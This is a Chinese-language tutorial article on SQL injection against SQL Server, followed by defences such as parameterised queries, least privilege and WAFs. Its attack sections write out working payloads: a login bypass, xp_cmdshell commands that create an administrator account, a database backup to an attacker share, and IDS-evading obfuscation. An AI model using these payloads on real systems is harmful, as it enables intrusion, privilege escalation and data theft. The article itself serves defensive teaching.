首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Server 安全專題:經典 SQL 注入攻擊手法與防禦實戰

     編輯:關於SqlServer

前言:為何 SQL 注入歷久不衰?

SQL 注入 (SQL Injection) 並非資料庫漏洞,而是應用程式輸入驗證缺失導致的安全缺陷。早期 ASP + SQL Server 架構盛行,大量初級開發者直接拼接字串構建 SQL,教學範例亦常帶有漏洞。儘管參數化查詢、ORM、WAF 普及,但舊系統存量、新手錯誤、第三方元件漏洞使其持續佔據 OWASP Top 10 榜首。本文復盤經典攻擊鏈,剖析原理,給出系統性防禦策略。

攻擊鏈演進:從繞過登入到伺服器淪陷

第一階段:認證繞過 —— 經典 ' OR '1'='1

-- 原始查詢
SELECT * FROM Users WHERE Username = 'input_user' AND Password = 'input_pwd';

-- 攻擊輸入
Username: admin' --
Password: [任意]

-- 實際執行
SELECT * FROM Users WHERE Username = 'admin' --' AND Password = '...';
-- 註解掉密碼檢查,直接以 admin 身分登入

第二階段:權限提升 —— 利用擴展預存程序

前提:應用使用 sa 或 sysadmin 權限連線 (虛擬主機通常不滿足)。

-- 添加登入
news.asp?id=1; EXEC master.dbo.sp_addlogin 'hax','hax';--

-- 修改密碼
news.asp?id=1; EXEC master.dbo.sp_password NULL,'hax','hax';--

-- 加入 sysadmin 角色
news.asp?id=1; EXEC master.dbo.sp_addsrvrolemember 'hax','sysadmin';--

-- 執行作業系統命令 (關鍵跳板)
news.asp?id=1; EXEC master.dbo.xp_cmdshell 'net user hax hax /add';--
news.asp?id=1; EXEC master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--

關鍵技巧:-- 註解掉後續 SQL 片段,避免語法錯誤;; 批次分隔符執行多條陳述式。

第三階段:非 sysadmin 權限下的資料竊取與偵察

若應用使用普通資料庫使用者 (通常為 db_owner):

-- 取得當前資料庫名
DECLARE @db SYSNAME; SET @db = DB_NAME();
-- 備份資料庫到攻擊者共享資料夾 (需網路連通)
BACKUP DATABASE @db TO DISK = '\\attacker_ip\share\bak.dat';--

-- 偵測 SQL Server 真實 IP (繞過 Web/DB 分離架構)
EXEC master.dbo.xp_cmdshell 'ping attacker_ip';-- (需 sysadmin)
-- 非 sysadmin 替代方案
DECLARE @db SYSNAME; SET @db = DB_NAME();
BACKUP DATABASE @db TO DISK = '\\attacker_ip\share\bak.dat';-- (觸發 SMB 連線,防火牆日誌可見 DB IP)

第四階段:進階繞過技術

技術原理範例
OPENROWSET 遠端執行利用連結伺服器機制在目標執行命令SELECT * FROM OPENROWSET('SQLOLEDB','server','sa','pwd','SET FMTONLY OFF EXEC master..xp_cmdshell ''dir''')
OPENROWSET 竊取回傳值配合 SELECT 'OK' 滿足 FMTONLY OFF 需求SELECT * FROM OPENROWSET(...,'SELECT ''OK'' EXEC sp_addlogin ''hax''')
本地連結映射後門建立受信連結映射,後續低權限帳號亦可觸發SELECT * FROM OPENROWSET('SQLOLEDB','TRUSTED_CONNECTION=YES;DATASOURCE=Hectic','...')
MSDASQL 雙查詢 DoS特定驅動程式缺陷導致伺服器掛起SELECT * FROM OPENROWSET('MSDASQL',...,'SELECT * FROM t1 SELECT * FROM t2') (欄位數不同時觸發)
關鍵字混淆繞過 IDS/IPS字串拼接、系統表查詢 ID、/**/ 替代空格DECLARE @x VARCHAR(20); SET @x='xp_'+'cmdshell'; EXEC @x 'dir';
SELECT name FROM sysobjects WHERE id=988456; EXEC @name 'dir';
攻擊 IDS 資料庫本身IDS 記錄寫入 SQL Server 時同樣面臨注入INSERT INTO log VALUES ('...')/**/EXEC/**/xp_cmdshell/**/'dir'/**/--

系統性防禦策略:纵深防御

1. 開發層面:參數化查詢 (唯一根治)

-- ❌ 錯誤:字串拼接
cmd.CommandText = "SELECT * FROM News WHERE Id = " + Request["id"];

-- ✅ 正確:參數化
cmd.CommandText = "SELECT * FROM News WHERE Id = @Id";
cmd.Parameters.AddWithValue("@Id", Request["id"]);
  • ADO.NET: SqlParameter
  • ADO: Command.Parameters
  • PHP: PDO::prepare() / mysqli_prepare()
  • Java: PreparedStatement
  • ORM (EF/Dapper/Hibernate): 內建參數化,勿用 Raw SQL 拼接。

2. 資料庫層面:最小權限原則

  • 應用連線帳號嚴禁使用 sa/sysadmin,建立專用登入,映射為資料庫使用者,僅授予 SELECT/INSERT/UPDATE/DELETE 於特定 Schema/Table。
  • 移除/禁用高風險擴展預存程序:
    EXEC sp_dropextendedproc 'xp_cmdshell';
    EXEC sp_dropextendedproc 'xp_regread'; -- 等註冊表相關
    -- 需時可恢復: EXEC sp_addextendedproc 'xp_cmdshell','xplog70.dll';
  • 啟用 稽核:登入失敗/成功、物件存取、權限變更,定期審查日誌。

3. 網路與主機層面

  • 修改預設埠 1433,啟用「隱藏執行個體」阻擋 UDP 1434 枚舉。
  • IPSec / Windows 防火牆限制來源 IP 存取 SQL 埠。
  • 啟用強制加密 (Force Encryption) 或憑證加密 TDS 協定,防中間人竊聽。
  • 資料庫伺服器不直接暴露於公網,置於 DMZ/內網,僅應用伺服器可連線。

4. 應用防火牆 (WAF) 與運行時防護

  • 部署 WAF (ModSecurity, Azure WAF, AWS WAF) 規則集攔截常見注入模式。
  • 運行時保護 (RASP) 監控資料庫驅動層異常呼叫。
  • 錯誤訊息不回顯給前端,統一友善提示,詳細錯誤寫入伺服器端日誌。

5. 程式碼審查與自動化掃描

  • 靜態分析工具 (SonarQube, Fortify, Checkmarx) 掃描 SQL 拼接模式。
  • 動態掃描 (SQLMap, Burp Suite, OWASP ZAP) 定期滲透測試。
  • 建立「安全編碼規範」清單,Code Review 必檢項目。

結語

SQL 注入本質是「資料與代碼未分離」。參數化查詢從語法層面徹底切斷攻擊路徑;最小權限、擴展程序清理、網路隔離、稽核監控構建多層防線。安全非一次性配置,而是持續的「開發-部署-運行」全生命週期工程。對既有舊系統,優先修補高風險入口,建立 WAF 虛擬補丁,規劃重構路線圖,方能從根本消除隱患。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved